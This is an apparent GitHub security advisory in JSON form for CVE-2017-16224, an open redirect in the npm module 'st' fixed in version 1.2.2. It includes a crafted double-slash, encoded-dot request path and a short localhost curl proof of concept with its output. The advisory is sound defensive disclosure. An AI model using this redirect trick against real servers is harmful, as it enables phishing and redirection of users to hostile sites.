{
  "schema_version": "1.4.0",
  "id": "GHSA-72fg-jqhx-c68p",
  "modified": "2023-09-11T18:37:42Z",
  "published": "2018-08-06T21:33:31Z",
  "aliases": [
    "CVE-2017-16224"
  ],
  "summary": "Open Redirect in st",
  "details": "st is a module for serving static files.\n\nAn attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain. \n\nA request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.\n\n**Mitigating factor:** \n\nIn order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` (\"%2e%2e\", \"%2e.\", \".%2e\"). \n\nCode example (provided by Xin Gao): \n\n[example.js]\n\n```js\nvar st = require('st') \nvar http = require('http') \nhttp.createServer(st(process.cwd())).listen(1337)\n```\n\n```shell\n$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e\n*   Trying ::1...\n* TCP_NODELAY set\n* Connected to localhost (::1) port 1337 (#0)\n> GET //cve.mitre.com/%2e%2e HTTP/1.1\n> Host: localhost:1337\n> User-Agent: curl/7.54.0\n> Accept: */*\n>\n< HTTP/1.1 301 Moved Permanently\n< cache-control: public, max-age=600\n< last-modified: Fri, 13 Oct 2017 22:56:33 GMT\n< etag: \"16777220-46488904-1507935393000\"\n< location: //cve.mitre.com/%2e%2e/\n< Date: Fri, 13 Oct 2017 22:56:41 GMT\n< Connection: keep-alive\n< Content-Length: 30\n<\n* Connection #0 to host localhost left intact\n```\n\n\n## Recommendation\n\nUpdate to version 1.2.2 or later.",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "st"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.2"
            }
          ]
        }
      ],
      "database_specific": {
        "last_known_affected_version_range": "<= 1.2.1"
      }
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16224"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-72fg-jqhx-c68p"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/547"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:20:52Z",
    "nvd_published_at": null
  }
}